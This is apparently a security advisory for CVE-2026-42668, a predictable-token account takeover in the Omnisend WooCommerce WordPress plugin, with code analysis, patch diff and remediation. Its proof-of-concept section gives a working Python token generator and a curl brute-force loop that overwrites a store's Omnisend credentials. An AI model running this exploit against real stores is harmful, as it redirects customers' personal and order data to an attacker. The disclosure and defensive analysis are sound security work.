CVE-2026-42668: Omnisend WooCommerce Account Takeover (CVSS 7.5)
Table of Contents
CVE-2026-42668 is a CVSS 7.5 High unauthenticated account takeover vulnerability in the Email Marketing for WooCommerce by Omnisend WordPress plugin. An attacker with no account can brute-force the connect token and overwrite the store’s Omnisend credentials, redirecting all customer PII, order data, and marketing emails to the attacker’s account.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Email Marketing for WooCommerce by Omnisend |
| Plugin Slug | omnisend-connect |
| CVE ID | CVE-2026-42668 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Vulnerability Type | Use of Insufficiently Random Values — Unauthenticated Account Takeover |
| Affected Versions | <= 1.18.0 |
| Patched Version | 1.18.1 |
| Published | May 13, 2026 |
| Researcher | 0xzenko |
| Wordfence Advisory | Link |
Description
The Omnisend for WooCommerce plugin connects a WooCommerce store to the Omnisend email marketing platform. During the OAuth setup flow, the plugin generates a one-time “connect token” to authorize the connection request.
In versions up to and including 1.18.0, the plugin generates this token with hash('sha256', time()). The PHP time() function returns a Unix timestamp — an integer that increments by one every second. That means at most 86,400 unique tokens exist for any given day. An attacker can pre-compute all possible tokens for a recent time window and brute-force the live endpoint until they find the right one.
Once the correct token is found, the attacker calls the unauthenticated REST endpoint POST /wp-json/omnisend-api/v1/connect with their own Omnisend credentials. The plugin immediately saves those credentials, and the store begins sending all customer data to the attacker’s Omnisend account.
Technical Analysis
Vulnerable Token Generation
The token is created in Omnisend_Install::generate_install_url() in includes/class-omnisend-install.php at line 234:
private static function generate_install_url() {
$token = get_option( 'omnisend_connect_token', '' );
if ( $token === '' ) {
$token = hash( 'sha256', time() ); // <-- predictable: ~86,400 values per day
update_option( 'omnisend_connect_token', $token );
}
// ...
}
time() returns the current Unix timestamp in seconds. SHA-256 is deterministic. Any attacker can compute hash('sha256', $t) for every second in a plausible time window and produce the exact token the store is holding.
This function is called when the admin visits the plugin’s settings page. The token is stored and reused until a successful connection consumes it.
Unauthenticated REST Endpoint
The REST endpoint in includes/omnisend-api.php at lines 211–222 is registered with validate_connect_token as its only permission callback:
register_rest_route(
'omnisend-api/v1',
'/connect',
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => 'omnisend_connect_account',
'permission_callback' => 'validate_connect_token', // no auth check
)
);
validate_connect_token() at lines 146–176 checks only the token value:
function validate_connect_token( WP_REST_Request $request ) {
$body = json_decode( $request->get_body(), true );
// no current_user_can() check
// no is_user_logged_in() check
$token = get_option( 'omnisend_connect_token', '' );
if ( $token !== $request['connect_token'] ) { // leaks timing info
return new WP_Error( 'omnisend_incorrect_connect_token', ..., 401 );
}
return true;
}
There is no current_user_can() or is_user_logged_in() check anywhere in this flow. Any visitor on the internet can call this endpoint.
Account Takeover on Success
The callback omnisend_connect_account() at lines 108–128 writes attacker-supplied values directly to the database:
function omnisend_connect_account( WP_REST_Request $request ) {
$body = json_decode( $request->get_body(), true );
update_option( 'omnisend_connect_token', null ); // consume token
Omnisend_Settings::set_brand_id( $body['brand_id'] ); // attacker's brand
update_option( 'omnisend_api_key', $body['omnisend_api_key'] ); // attacker's key
Omnisend_Manager::update_account_info();
Omnisend_Manager_Assistant::init_sync(); // start syncing to attacker's account
return array( 'success' => true );
}
After this call, every customer record, order event, and marketing email the store sends goes to the attacker’s Omnisend account.
Execution Path Summary
Admin loads settings page
→ view/settings/connection.php calls Omnisend_Install::get_registration_url()
→ generate_install_url() runs
→ get_option('omnisend_connect_token') is empty
→ $token = hash('sha256', time()) ← weak token generated here
→ update_option('omnisend_connect_token', $token)
Attacker (unauthenticated, any time later):
→ brute-forces 86,400 SHA-256 timestamps
→ POST /wp-json/omnisend-api/v1/connect
→ validate_connect_token() passes ← no auth, just token check
→ omnisend_connect_account() runs
→ store's Omnisend credentials overwritten with attacker's
Proof of Concept
Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Do not use it against systems you do not own or have explicit written permission to test.
Prerequisites: WordPress site with Omnisend for WooCommerce <= 1.18.0 installed. The plugin’s settings page must have been visited at least once (which generates the token).
Step 1 — Determine the Token Window
The token equals hash('sha256', $unix_timestamp) for some second in the recent past. If the plugin was activated or the settings page was loaded within the last 24 hours, there are at most 86,400 candidates.
Step 2 — Generate Candidate Tokens
import hashlib
import time
now = int(time.time())
window = 86400 # 24-hour window
with open("tokens.txt", "w") as f:
for t in range(now - window, now + 1):
h = hashlib.sha256(str(t).encode()).hexdigest()
f.write(h + "\n")
print(f"Generated {window + 1} candidate tokens.")
Step 3 — Brute-Force the Connect Endpoint
TARGET="https://victim.example.com"
BRAND_ID="attacker-brand-id"
API_KEY="attacker-omnisend-api-key"
while IFS= read -r token; do
status=$(curl -s -o /tmp/response.json -w "%{http_code}" \
-X POST "$TARGET/wp-json/omnisend-api/v1/connect" \
-H "Content-Type: application/json" \
-d "{\"connect_token\":\"$token\",\"brand_id\":\"$BRAND_ID\",\"omnisend_api_key\":\"$API_KEY\"}")
if [ "$status" = "200" ]; then
echo "[+] SUCCESS: token=$token"
cat /tmp/response.json
break
fi
done < tokens.txt
Step 4 — Verify Takeover
# Confirm the store now reports connection to attacker's account
curl -s "$TARGET/wp-json/omnisend-api/v1/connected"
# Expected: true
After a successful request, the store’s omnisend_api_key and omnisend_account_id options are overwritten. All subsequent customer syncs and order webhooks flow to the attacker’s Omnisend account.
Patch Analysis
The fix in version 1.18.1 addresses two separate weaknesses.
Fix 1 — Cryptographically Secure Token Generation
- $token = hash( 'sha256', time() );
+ $token = bin2hex( random_bytes( 32 ) );
random_bytes(32) draws 32 bytes from the operating system’s CSPRNG. bin2hex() encodes those as a 64-character hex string. The result has 2^256 possible values — brute-forcing is computationally infeasible.
Fix 2 — Constant-Time Comparison
- if ( $token !== $request['connect_token'] ) {
+ if ( ! hash_equals( $token, (string) $request['connect_token'] ) ) {
The original !== string comparison is vulnerable to timing side-channel attacks: the comparison short-circuits at the first mismatched character, leaking how many characters the attacker guessed correctly. hash_equals() always compares the full string in constant time.
Fix 3 — Uniform Error Responses
All three error paths in validate_connect_token() now return the same HTTP 403 response with the same message (“Connect token is invalid”). This removes the oracle that previously let an attacker distinguish between “token not set”, “token already used”, and “token wrong”.
The fix addresses the root cause. No residual risk was identified.
Timeline
| Date | Event |
|---|---|
| May 13, 2026 | Wordfence publishes advisory |
| May 13, 2026 | Version 1.18.1 released with fix |
Remediation
Update Email Marketing for WooCommerce by Omnisend to version 1.18.1 or later.
Go to WordPress Admin → Plugins → Installed Plugins, find the plugin, and click Update Now. Alternatively, download it directly from wordpress.org.
If you suspect your store was already compromised, rotate your Omnisend API credentials immediately and audit recent data sync events in your Omnisend account.
References
- Wordfence Advisory — CVE-2026-42668
- CVE-2026-42668 at cve.org
- Vulnerable code — class-omnisend-install.php#L234
- Vulnerable code — omnisend-api.php#L119
- Vulnerable code — omnisend-api.php#L146
- Changeset diff — 1.18.0 → 1.18.1
- Patchstack Advisory
Frequently Asked Questions
What is CVE-2026-42668?
CVE-2026-42668 is a CVSS 7.5 High severity vulnerability in the Email Marketing for WooCommerce by Omnisend plugin. An unauthenticated attacker can predict the connect token and hijack the store's Omnisend account, redirecting all customer data to the attacker.
Which versions of Email Marketing for WooCommerce by Omnisend are affected by CVE-2026-42668?
All versions up to and including 1.18.0 are affected. Version 1.18.1 contains the fix.
What can an attacker do with CVE-2026-42668?
An attacker can replace the store's Omnisend API key and brand ID with their own. After that, all customer PII, order webhooks, and marketing communications sync to the attacker's Omnisend account.
Does an attacker need to be logged in to exploit CVE-2026-42668?
No. Any visitor can send the exploit request without a WordPress account. The endpoint has no authentication check — only a predictable token that can be brute-forced.
How do I fix CVE-2026-42668 in Email Marketing for WooCommerce by Omnisend?
Update Email Marketing for WooCommerce by Omnisend to version 1.18.1 or later from the WordPress admin dashboard or wordpress.org.
Has Email Marketing for WooCommerce by Omnisend been patched for CVE-2026-42668?
Yes. Version 1.18.1 was released on May 13, 2026 and resolves this vulnerability.